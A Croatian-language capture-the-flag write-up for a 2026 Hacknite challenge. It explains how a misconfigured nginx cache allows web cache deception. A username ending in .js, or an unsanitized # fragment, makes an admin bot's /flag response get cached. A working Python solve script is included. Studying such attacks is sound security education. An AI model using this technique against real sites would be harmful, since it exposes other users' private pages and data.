Table of Contents
Zadatak s natjecanja Hacknite 2026 - Local Flag Hosting
Server se nalazi na adminovom lokalnom računalu pa je admin osigurao da se flag može vidjeti samo s localhosta. Možeš li doći do flaga?
Kontekst zadatka
Nije dan izvorni kod zadatka.
Pregledom stranice vidi se da postoje putanje: home, register, login, flag i report.
Putanja flag vraća poruku:
ACCESS DENIED: Only Admin can see this. Only requests originating from 127.0.0.1 are authorized to view the secret data.
Za putanju report potrebno je napraviti račun i prijaviti se, te nakon toga se otvara sučelje za prijavu tehničkih poteškoća adminu unosom URL putanje, koju admin pregledava interno, pristupanjem preko localhosta.
Također je vidljiva poruka:
Note: To prevent abuse, we automatically append ?sent_by=<korisničko_ime> to all reported links.
Poruka naznačava da se za svaki link poslan administratoru automatski dodaje URL parametar sent_by kojem se za vrijednost postavlja username prijavljenog korisnika koji je podnio prijavu.
Korištenjem prikaza web zahtjeva razvojnih alata web preglednika ili alata Burp Suite, te pregledom poslanog POST zahtjeva pri korištenju report funkcionalnosti, vidi se da nije postavljen sent_by URL parametar, pa se može zaključiti da to radi logika na serverskoj strani, te nije jasno može li se ikako utjecati na to.
Pronalazak ranjivosti
Pregledom zaglavlja odgovora servera nad statičnim resursom style.css ili script.js može se uočiti da se koristi cache.
Može se vidjeti da se koristi nginx/1.26.3, po Server zaglavlju.
Važan dio za uočiti je neusklađenost zaglavlja Cache-Control
i X-Storage:
Cache-Control: no-cache ... x-Storage: EXPIRED
Ovi neusklađeni response headeri naznačavaju da je najvjerojatnije ispred servera postavljen nginx reverse proxy, koji ignorira caching upute koje server vraća preko zaglavlja Cache-Control te koristi svoju vlastitu cache konfiguraciju.
Kako bi se dalje ispitalo kako je konfiguriran cache, mogu se dodavati URL parametri ili mijenjati URL putanja kako bi završavala na isti sufiks kao i statični resursi koji se cacheiraju, ali na taj način da ih server zapravo mapira na resurse koji nisu statični.
Pregledom cache zaglavlja u odgovoru /flag putanje, vidi se zaglavlje:
x-Storage: BYPASS
Što znači da ovaj resurs kada se koristi na predviđen način neće biti cacheiran.
Dodavanjem URL querija ?nebitno=.js, URL završava s .js sufiksom:
/flag?nebitno=.js
Server vraća isti odgovor za ovaj zahtjev kao i kad nema URL querija, ali se sada X-Storage zaglavlje promijenilo:
X-Storage: MISS
Ponovnim refreshom stranice, zaglavlje postaje:
X-Storage: HIT
Cache je pohranio odgovor servera za /flag resurs jer je URL završavao s .js sufiksom, dok je server ignorirao URL query i vratio normalan odgovor za dinamički endpoint, koji vraća drugačiji odgovor ovisno o korisniku koji šalje zahtjev.
Ovo je indikacija da URL query ulazi u cache key, te da su potencijalno mogući napadi Cache Deception i Cache Poisoning.
S obzirom na to da administrator može vidjeti flag pristupom /flag endpointu, a cilj je navesti cache da pohrani taj odgovor te ga potom preuzeti, Cache Deception je odgovarajući napad.
Iskorištavanje ranjivosti
Kako bi se uočeno ponašanje iskoristilo za dohvat flaga, cilj je korištenjem report funkcionalnosti prijaviti adminu /flag putanju na taj način da generirani link koji će administrator posjetiti završava s .js ili .css sufiksom.
U tom slučaju će cache pohraniti odgovor na /flag endpoint koji je server poslužio administratoru, a potom korištenjem istog URL-a drugi korisnici mogu iz cache dohvatiti pohranjen odgovor za administratora.
Važno je da administrator prvi posjeti link, kako ne bi cache pohranio odgovor servera normalnom korisniku, te potom cache vratio administratoru taj odgovor.
Problem je ako se administratoru prijavi putanja:
/flag?nebitno=.js
server će administratoru automatski generirati link
/flag?nebitno=.js&sent_by=<username>
te URL parametar koji je trebao postaviti odgovarajući sufiks za pohranu odgovora u cache više nije na kraju URL-a nego u sredini.
Prvi način
Ako se stvori korisnički račun s korisničkim imenom koje završava s .js ili .css, nakon prijave /flag putanje administratoru, server će automatski generirati URL:
.../flag?sent_by=korisnik.js
Te će se posjetom te iste putanje odmah nakon što ju administrator posjeti dohvatiti odgovor koji je server poslužio administratoru koji sadrži flag.
Drugi način
Daljnjim testiranjem ranjivosti može se otkriti da pri prijavi putanje, ako se doda simbol # kao fragment identifier, on ne bude pročišćen prije generiranja linka koji se šalje administratoru, zbog čega se cijeli URL parametar sent_by dodan na link poslan od korisnika nalazi nakon fragment Identifiera, te ga potom cache ignorira, uzimajući u obzir samo dio linka do znaka #.
Korištenjem ove tehnike se prijavi putanja u obliku:
.../flag?nebitno=.js#
te se taj link posjeti odmah nakon što ga je administrator posjetio, kako bi se iz cachea dohvatio odgovor poslužen administratoru.
Rješenje
Ovo rješenje koristi prvi način izvođenja napada:
import requests
import re
import time
import random, string
############################################
############################################
# Configuration
HOST="localhost" # HOST zadatka
PORT=5000 # PORT zadatka
TARGET_URL = f"http://{HOST}:{PORT}"
USERNAME = ''.join(random.choices(string.ascii_lowercase, k=10)) + ".js"
PASSWORD = ''.join(random.choices(string.ascii_lowercase, k=10))
############################################
############################################
def solve():
session = requests.Session()
print(f"[*] Target: {TARGET_URL}")
print(f"[*] -> registration/login as {USERNAME}...")
reg_data = {"username": USERNAME, "password": PASSWORD}
res=session.post(f"{TARGET_URL}/register", data=reg_data)
login_res = session.post(f"{TARGET_URL}/login", data=reg_data)
print("[*] Sending report to trigger admin view")
report_data = {"path": "/flag"}
res = session.post(f"{TARGET_URL}/report", data=report_data)
if res.status_code == 200:
print("[+] Report submitted.")
else:
print("[-] Failed to submit report.")
return
ret_url = f"{TARGET_URL}/flag?sent_by={USERNAME}"
print(f"[*] Fetching cached admin res from: {ret_url}")
time.sleep(0.5)
for attempt in range(5):
flag_res = session.get(ret_url)
print(flag_res.text[1200:][:-200])
match = re.search(r"CTF2026\[.*\]", flag_res.text)
cache_status = flag_res.headers.get("X-Storage", "UNKNOWN")
print(f" [Attempt {attempt+1}] Cache-Status: {cache_status}")
if match:
print("\n" + "="*30)
print(f"Flag: {match.group(0)}")
print("="*30)
return
time.sleep(1)
print("[-] Failed to retrieve flag from cache.")
if __name__ == "__main__":
solve()
Pokretanjem skripte može se vidjeti da je vraćen odgovor s flagom poslužen iz cachea, koji je inicijalno server poslužio administratoru. Ovo također potvrđuje da HOST i PORT ne ulaze u cache key.
